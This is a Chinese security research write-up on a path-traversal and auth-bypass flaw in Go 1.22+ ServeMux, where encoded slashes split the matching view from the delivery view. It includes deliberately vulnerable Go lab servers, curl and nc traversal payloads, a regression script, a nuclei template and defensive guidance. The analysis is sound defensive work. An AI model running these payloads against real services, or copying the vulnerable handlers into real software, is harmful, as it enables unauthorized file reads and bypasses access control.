编码斜杠击穿 Go 路由器:ServeMux 双视图解析与路径穿越
Go 1.22 起 net/http.ServeMux 的路由匹配改用编码视图(EscapedPath)逐段比较,%2F 不再是段分隔符;匹配命中后通配捕获值按解码视图交付,.. 回退语义恢复。授权中间件按解码路径前缀放行,处理器拼接磁盘路径时越出前缀——同一请求在两份视图里各被信任一次。
Go 1.22 起
net/http.ServeMux的路由匹配改用编码视图(EscapedPath)逐段比较,%2F不再是段分隔符;匹配命中后通配捕获值按解码视图交付,..回退语义恢复。授权中间件按解码路径前缀放行,处理器拼接磁盘路径时越出前缀——同一请求在两份视图里各被信任一次。
实验环境
项 | 值 |
系统 | Kali 2026.1 |
Go | 1.26.8(go-1.26)与 1.21.13(go1.21.13/bin/go) |
Nginx | 1.28.3 |
服务 | muxdump:8101、filesrv:8110、muxold:8111、filesrv_old:8112、split_view:8114、godebug_demo:8120、authz:8086、pathall:8113、nginx:8106 |
测试文件 | /srvfiles/welcome.txt(PUBLIC_FILE_OK)、/secret.txt(TRAVERSAL_SECRET) |
1 双路径字段:URL 解析为何存在两个"路径"
net/url.Parse 的结果里同时存在 Path 与 RawPath 两个字段。Path 是百分号解码后的路径,不做路径规整;RawPath 仅在编码形态与默认转义结果不一致时被设置,用于保留原始转义序列(net/url/url.go 的 setPath)。ServeMux 匹配读取的是 EscapedPath()(存在 RawPath 时即返回 RawPath 本身),RequestURI 始终保留客户端发送的原始编码形态。
编码斜杠 %2F 因此在两条管线上呈现两种含义:
- 匹配视图:ServeMux 按
EscapedPath()切段,%2F不是段分隔符,/files/..%2Fsecret.txt在匹配层是两段[files, ..%2Fsecret.txt],单段通配/files/{name}命中后逐段解码; - 交付视图:通配捕获值
PathValue("name")按解码视图交付为../secret.txt,处理器拼接磁盘路径时..回退语义恢复;r.URL.Path同样持有解码形态。

2 匹配发生在编码视图还是解码视图?
2.1 CONNECT 方法:绕过 cleanPath 折叠的对照窗口
findHandler 对 CONNECT 请求跳过路径规整(net/http/server.go 2663-2675:注释"CONNECT requests are not canonicalized"),不调用 cleanPath,但仍取 r.URL.EscapedPath() 做逐段匹配、逐段解码。因此 CONNECT 与 GET 共享同一条编码视图匹配管线,穿越链路不依赖方法;差别只在折叠:GET /admin/. 会被 cleanPath 折叠并 307 重定向,CONNECT 原样进入匹配。
在 muxdump(8101)上发原始 CONNECT 请求:
printf '%s\r\n%s\r\n\r\n' 'CONNECT /files/..%2Fsecret.txt:80 HTTP/1.1' 'Host: 127.0.0.1:8101' | nc -q 1 127.0.0.1 8101
CONNECT 不经过 cleanPath,也不触发补斜杠重定向(2663-2675 分支),但编码视图匹配与逐段解码与 GET 完全一致——%2F 在 CONNECT 里同样不是段分隔符,../secret.txt 照样以解码形态交付。这说明双视图分裂是 findHandler 匹配管线的通用属性,不是某个方法的特例;同时给出一个绕过 cleanPath 折叠的观察窗口(明文 .. 段在 GET 会被折叠,CONNECT 不会)。
2.2 从 301 折叠到 307 补斜杠:%2F 语义的版本变迁
对 GET /files/..%2Fsecret.txt,新旧版本行为差别显著:
- Go 1.21 及更早:
findHandler先取解码后的r.URL.Path做cleanPath折叠(net/http/servemux121.go121 行path := cleanPath(r.URL.Path)),命中后返回 301 重定向(126、132 行StatusMovedPermanently),把用户引到规整后的路径,编码斜杠的穿越面被折叠逻辑"顺手关掉"; - Go 1.22+:
findHandler对EscapedPath()做cleanPath(server.go2679 行),%2F不是Clean 的识别对象,穿越段原样保留;对无尾斜杠的目录前缀返回 307 补斜杠(2684 行StatusTemporaryRedirect),%2F原样保留在请求中,穿越载荷得以继续向处理器传递。
golang/go#21955是旧版 301 折叠行为对应的历史 issue 锚点,真正的问题面在 Go 1.22 新语义与文件类处理器解码时机错配。

3 编码斜杠在实机上的完整链路
3.1 muxdump:最简复现服务
muxdump.go:
package main
import (
"fmt"
"log"
"net/http"
)
func dump(w http.ResponseWriter, r *http.Request) {
pat := r.Pattern // 命中的 pattern
name := r.PathValue("name") // 通配捕获值,已解码
fmt.Fprintf(w, "HIT [%s] name=%q Path=%q RawPath=%q EscapedPath=%q\n",
pat, name, r.URL.Path, r.URL.RawPath, r.URL.EscapedPath())
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/admin/{$}", dump) // 精确匹配 /admin
mux.HandleFunc("/admin/", dump) // 前缀匹配 /admin/
mux.HandleFunc("/files/{name}", dump) // 单段通配
mux.HandleFunc("/debug", dump)
mux.HandleFunc("/", dump) // 兜底根
log.Fatal(http.ListenAndServe("127.0.0.1:8101", mux))
}启动:
go run muxdump.go
curl -i 'http://127.0.0.1:8101/admin'
常规目录请求:新版返回 307 补斜杠。
curl -i 'http://127.0.0.1:8101/admin%2F'
编码斜杠伪目录:匹配跳过 /admin/ 前缀,落根。
curl -i 'http://127.0.0.1:8101/admin%2Fpanel'
编码斜杠内联:Path 解码为 /admin/panel,匹配层仍按编码视图落根。
curl -i 'http://127.0.0.1:8101/files/welcome.txt'
前缀内正常文件:单段通配捕获。
curl -i 'http://127.0.0.1:8101/files/..%2Fsecret.txt'
编码斜杠穿越:命中 /files/{name} 且 name 含 ..
curl -i 'http://127.0.0.1:8101/files/a%2Fb'
编码段嵌入:name 交付解码后的 a/b。
curl -i --path-as-is 'http://127.0.0.1:8101/files/.%2e/secret.txt'
.%2e 解码为 ..,编码视图不折叠,3 段超出 /files/{name}匹配,落根。
curl -i --path-as-is 'http://127.0.0.1:8101/%2e%2e/secret.txt'
%2e%2e解码为 ..,编码视图不折叠,落根。
/admin%2F 是整条链路最直接的分裂证据——Path 解码为 /admin/,但 ServeMux 的匹配保留编码视图,%2F 未被视为目录分隔符,前缀 /admin/ 匹配失败;/files/..%2Fsecret.txt 则命中单段通配并把 ../secret.txt 解码交付给处理器。注意 7/8 两条:编码点段(%2e 形态)在匹配层不被折叠——cleanPath 只识别明文 ./.. 段,对百分号编码无感——.. 原样出现在交付字段;折叠仅作用于明文点段(如 /admin/. 会触发 307,见 2.2 的 2679 行 cleanPath 逻辑)。
3.2 filesrv:交付视图拼接磁盘路径
filesrv :
package main
import (
"fmt"
"log"
"net/http"
"os"
"path/filepath"
)
const root = "/home/nl/srvfiles" // welcome.txt 放此,secret.txt 放上级目录
func serve(w http.ResponseWriter, r *http.Request) {
name := r.PathValue("name") // 解码后的捕获值,含 ../ 原样交付
p := filepath.Join(root, name) // 路径拼接,归一 ..
data, err := os.ReadFile(p)
if err != nil {
fmt.Fprintf(w, "ERR(404) name=%q path=%s err=%v\n", name, p, err)
return
}
fmt.Fprintf(w, "OK(200) name=%q path=%s body=%s\n", name, p, data)
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/files/{name}", serve)
log.Fatal(http.ListenAndServe("127.0.0.1:8110", mux))
}启动:
go run filesrv.go
curl -i 'http://127.0.0.1:8110/files/welcome.txt'
正常读取:前缀内文件。
curl -i 'http://127.0.0.1:8110/files/..%2Fsecret.txt'
编码斜杠穿越:解码后越出 /files/。
%2F 在编码视图里不是段分隔符,/files/{name} 的单段通配把整段 ..%2Fsecret.txt 捕获,PathValue 解码后交付 ../secret.txt;处理器用这份解码值拼接磁盘路径,filepath.Join 的 .. 语义恢复,越权读取成立。
3.3 muxold:旧工具链复现 301 折叠
Go 1.21 的 ServeMux 不支持 1.22 的模式通配语法,muxold.go 使用等价的 /files/ 前缀写法:
package main
import (
"fmt"
"log"
"net/http"
)
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/admin/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "admin-prefix hit, Path=%q\n", r.URL.Path)
})
mux.HandleFunc("/files/", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Path[len("/files/"):]
fmt.Fprintf(w, "files-prefix hit, name=%q Path=%q RawPath=%q URI=%q\n",
name, r.URL.Path, r.URL.RawPath, r.RequestURI)
})
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "root hit, Path=%q\n", r.URL.Path)
})
log.Fatal(http.ListenAndServe("127.0.0.1:8111", mux))
}编译与启动(用旧工具链):
go run muxold.go
curl -i 'http://127.0.0.1:8111/files/welcome.txt'
前缀内正常文件:旧版可正常读取。
curl -i 'http://127.0.0.1:8111/files/..%2Fsecret.txt'
编码斜杠穿越:旧版期望折叠。
旧版 findHandler 在匹配前对解码后的 r.URL.Path 做 cleanPath(servemux121.go 121 行 path := cleanPath(r.URL.Path)),%2F 已被 url.Parse 解码为 /,.. 段随即被折叠并触发 301(126、132 行),穿越载荷在匹配层即被阻断,与 2.2 的版本变迁描述一致。
3.4 filesrv_old:旧工具链文件服务对照
filesrv_old.go 使用 1.21 兼容的前缀写法:
package main
import (
"log"
"net/http"
"os"
"path/filepath"
)
const root = "/home/nl/srvfiles"
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/files/", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Path[len("/files/"):]
p := filepath.Join(root, name)
b, err := os.ReadFile(p)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
w.Write(b)
})
log.Fatal(http.ListenAndServe("127.0.0.1:8112", mux))
}编译与启动(用旧工具链):
go run filesrv_old.go

前缀内正常文件:可读取。
curl -i 'http://127.0.0.1:8112/files/..%2Fsecret.txt'
编码斜杠穿越:旧版期望折叠后 301。
旧版文件服务同样在匹配层折叠 ..,%2F 穿越链路不成立;穿越面是 Go 1.22 新 ServeMux 语义与"解码后交付"处理器组合的产物,而非文件读取逻辑本身的缺陷。
3.5 双视图切段:split_view 实证段数分裂
split_view:
package main
import (
"fmt"
"net/http"
"net/url"
"strings"
)
func segs(p string) []string {
p = strings.TrimPrefix(p, "/")
if p == "" {
return nil
}
return strings.Split(p, "/")
}
// decodedSegments 仅做 %XX 解码、不做 Clean,
// 用于暴露"匹配视图"与"交付视图"的段数差;
// r.URL.Path 即为解码形态(Parse 期不 Clean),这里与其保持一致。
func decodedSegments(p string) []string {
d, err := url.PathUnescape(p)
if err != nil {
return nil
}
return segs(d)
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
esc := segs(r.URL.EscapedPath())
dec := decodedSegments(r.URL.EscapedPath())
fmt.Fprintf(w, "escaped=%q encoded_view_segments=%d %v\n", r.URL.EscapedPath(), len(esc), esc)
fmt.Fprintf(w, "decoded=%q decoded_view_segments=%d %v\n", r.URL.Path, len(dec), dec)
})
http.ListenAndServe(":8114", mux)
}启动:
go run split_view.go
curl 'http://127.0.0.1:8114/..%2Fsecret.txt'
编码斜杠穿越:编码视图 1 段,解码视图 2 段。
curl 'http://127.0.0.1:8114/admin%2Fpanel'
编码斜杠内联:编码视图 1 段,解码视图 2 段,落根。
curl --path-as-is 'http://127.0.0.1:8114/.%2e/%2e%2e'
.%2e/%2e%2e 不被折叠,两段原样进入解码视图。
段数分裂是穿越的充分条件——同一载荷在编码视图里是 1 段,解码视图里是 2 段(.. 回退语义恢复)。admin%2Fpanel 更说明匹配层看的是编码视图:%2F 不被当作分隔符,/admin/ 前缀因此失配。载荷 3 显示编码点段同样不被折叠:%2e 形态在 cleanPath 眼里不是明文 ./..,两段原样通过匹配,解码后 .. 直接交付。
4 三次信任瓦解
把双视图分裂套进真实授权情境,信任在三个层面依次瓦解,每一层都以为自己看到的路径"足够权威"。
4.1 第一次瓦解:匹配层——前缀即授权
授权中间件最常见的写法是检查 r.URL.Path 是否以受保护前缀开头。/files/..%2Fsecret.txt 的解码 Path 以 /files/ 开头,前缀检查放行;ServeMux 的匹配层按编码视图切段(server.go 2679 行 cleanPath(r.URL.EscapedPath()),%2F 不是段分隔符),模式 /files/{name} 照样命中单段通配。匹配层用编码视图、授权层用解码视图,同一载荷在两份判断里各自成立——第一层信任瓦解。
4.2 第二次瓦解:补斜杠层——307 保留载荷
新版 ServeMux 对目录前缀返回 307(server.go 2684 行 StatusTemporaryRedirect),matchOrRedirect 构造补斜杠 URL,%2F 原样保留,客户端跟随重定向后载荷不丢。旧版 301 折叠在这里是"隐性修复":它在匹配前把 .. 吃掉(servemux121.go 121 行),载荷根本到不了处理器;新版 cleanPath 只作用于编码视图字符串(2679 行),对 %2F 无感,载荷完整送达——第二层信任瓦解。
4.3 第三次瓦解:交付层——解码后拼接
处理器按解码后的 Path/PathValue 重建相对路径并拼接磁盘路径,.. 回退语义恢复(3.2 的 filepath.Join 实测)。三层各看各的视图,没有一层把"匹配时用编码视图、交付时用解码视图"的组合当作整体校验——第三层信任瓦解。

4.4 GODEBUG 单二进制 A/B:httpmuxgo121 切换旧语义
GODEBUG=httpmuxgo121=1 是 Go 1.22 提供的兼容开关,可让新版 net/http 恢复 1.21 的 ServeMux 匹配语义。利用它可以在同一二进制上完成 A/B 对照,把问题精确定位到匹配层。
godebug_demo:
package main
import (
"fmt"
"log"
"net/http"
)
func dump(w http.ResponseWriter, r *http.Request) {
name := r.PathValue("name")
fmt.Fprintf(w, "HIT [%s] name=%q Path=%q EscapedPath=%q\n",
r.Pattern, name, r.URL.Path, r.URL.EscapedPath())
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/files/{name}", dump)
log.Fatal(http.ListenAndServe("127.0.0.1:8120", mux))
}编译与 A/B 流程:
go build -o godebug_demo godebug_demo.go
#以后台方式启动
nohup ./godebug_demo >/tmp/godebug.log 2>&1 &
#执行 curl
curl -i 'http://127.0.0.1:8120/files/..%2Fsecret.txt'
先杀掉 A 段进程,再带开关重启,否则 8120 被占、新进程起不来:
fuser -k 8120/tcp 2>/dev/null
GODEBUG=httpmuxgo121=1 nohup ./godebug_demo >/tmp/godebug121.log 2>&1 &
curl -i 'http://127.0.0.1:8120/files/..%2Fsecret.txt'
处理器代码一行未改,仅靠 GODEBUG=httpmuxgo121=1 把匹配实现切回兼容层(1.22 起内置的 servemux121.go),121 行的 cleanPath 折叠重新生效,穿越面即开即关。这证明根因在 ServeMux 的新匹配行为,而非示例处理器的写法。
4.5 authz:授权中间件按前缀放行的端到端旁路
authz.go:
package main
import (
"fmt"
"log"
"net/http"
"strings"
)
func admin(w http.ResponseWriter, r *http.Request) {
// 业务侧按解码 Path 前缀路由到管理功能
if strings.HasPrefix(r.URL.Path, "/admin") {
fmt.Fprintf(w, "ADMIN_SECRET [%s]\n", r.URL.Path)
return
}
fmt.Fprintf(w, "PUBLIC [%s]\n", r.URL.Path)
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
// 中间件:编码视图精确校验,只拒绝字面 /admin
if r.URL.EscapedPath() == "/admin" {
http.Error(w, "AUTH_401", http.StatusUnauthorized)
return
}
admin(w, r)
})
log.Fatal(http.ListenAndServe("127.0.0.1:8086", mux))
}curl -i 'http://127.0.0.1:8086/admin'
字面 /admin:中间件精确拦截。
curl -i 'http://127.0.0.1:8086/admin%2F'
/admin,放行。
curl -i 'http://127.0.0.1:8086/admin%2f'
编码斜杠小写变体:同样放行。
curl -i 'http://127.0.0.1:8086/admin%252F'
双重编码:%252F 在 EscapedPath 中保留。
curl -i 'http://127.0.0.1:8086/admin%2e%2e'
%2e%2e 解码为 ..,业务前缀仍命中。
curl -i --path-as-is 'http://127.0.0.1:8086/admin/.'
/admin/. 明文 .. 折叠,307 重定向到 /admin。
最后这个请求的明文点段触发 cleanPath 折叠并 307 重定向到折叠后的 /admin(无尾斜杠即兜底 / 命中,未触发补斜杠),重定向后同样落入业务处理器——明文折叠不改变结果。授权校验看编码视图、业务路由看解码视图,两份视图互不校验——"编码视图即安全视图"的信任假设被打破。
5 防御
修复原则只有一条:匹配、授权、交付必须基于同一份视图,且文件读取前必须显式归一化路径:
- 文件服务内显式归一化:拼接磁盘路径前先
filepath.Clean,并断言结果仍在根目录内,前缀之外一律 404; - 拒绝编码分隔符:在入口中间件检查
r.URL.RawPath/r.RequestURI,出现%2F、%5C(含大小写变体)直接拒绝或规范化后重定向; - 使用安全文件服务原语:
http.FileServer+http.Dir自带路径校验;自研处理器时用fs.ValidPath或io/fs子文件系统约束; - 统一视图:授权中间件与处理器使用同一份解析结果,不要在中间件里用解码
Path判断、在处理器里又用RequestURI重建路径; - 监控 GODEBUG 兼容开关:
httpmuxgo121会全局改变匹配语义,生产环境需审计谁在开、为什么开,避免"单服务降级拖垮整条链路"; - 前缀授权只做粗筛:敏感文件的授权不应依赖"路径在哪个前缀下",改用显式资源 ID 或 token 绑定,路径只用于定位。
5.1 回归脚本:regression.sh
检测到穿越面时退出码 1:
#!/usr/bin/env bash
# 编码斜杠穿越回归检测:检测到穿越面时退出码 1
# 前置:muxdump 已监听 8101
set -u
BASE=http://127.0.0.1:8101
VULN=0
probe() {
local desc="$1" expect="$2" url="$3"
local body
body=$(curl -s "$url")
if echo "$body" | grep -q "$expect"; then
echo "PASS: $desc"
else
echo "FAIL: $desc"
VULN=1
fi
}
# 1) 穿越面探测:name=../secret.txt 说明编码斜杠穿越成立
probe "encoded traversal leaks" 'name="../secret.txt"' "$BASE/files/..%2Fsecret.txt"
# 2) 编码段内联交付:name=a/b
probe "encoded segment delivered" 'name="a/b"' "$BASE/files/a%2Fb"
# 3) 编码斜杠伪目录落根:不命中 /admin/ 前缀
probe "encoded admin lands root" 'HIT [/]' "$BASE/admin%2F"
if [ "$VULN" -eq 1 ]; then
echo "RESULT: VULNERABLE - encoded-slash traversal surface detected"
exit 1
fi
echo "RESULT: CLEAN"
exit 0
脚本把"编码视图段数分裂"固化为可执行的断言——只要 ..%2F 还能以解码形态交付给处理器,CI 即失败,防止新代码或依赖升级把穿越面带回来。
5.2 nuclei 模板
可直接对目标 Go 服务批量探测:
id: go-servemux-encoded-slash
info:
name: Go ServeMux Encoded Slash Traversal
author: nl
severity: high
description: |
Go 1.22+ ServeMux 对 %2F 采用双视图解析,
授权前缀放行后处理器可越权读取树外文件。
tags: go,path-traversal,servemux
http:
- method: GET
path:
- "{{BaseURL}}/files/..%2Fsecret.txt"
matchers-condition: and
matchers:
- type: word
words:
- "TRAVERSAL_SECRET"
part: body
- type: status
status:
- 200启动:
nuclei -t go-servemux-encoded-slash-nuclei.yaml -u http://127.0.0.1:8110
nuclei 把探测固化为可分发模板,覆盖 %2F 单编码形态;真实环境可扩展 %252F 双重编码与 %5C 变体,并按业务前缀替换 /files/。
结论
编码斜杠击穿 Go 路由器的本质,是 Go 1.22 新 ServeMux 把匹配与交付拆成两条互不校验的管线:匹配层按编码视图(EscapedPath)切段,%2F 不是段分隔符;命中后通配捕获值按解码视图交付,.. 回退语义恢复。三层信任(前缀授权、307 保留载荷、解码后拼接)叠加,构成一条无需认证即可越权读取文件的完整链路。修复不复杂——统一视图、显式归一化、拒绝编码分隔符——但任何一层单独加固都可能被其余两层绕过,必须整体收紧。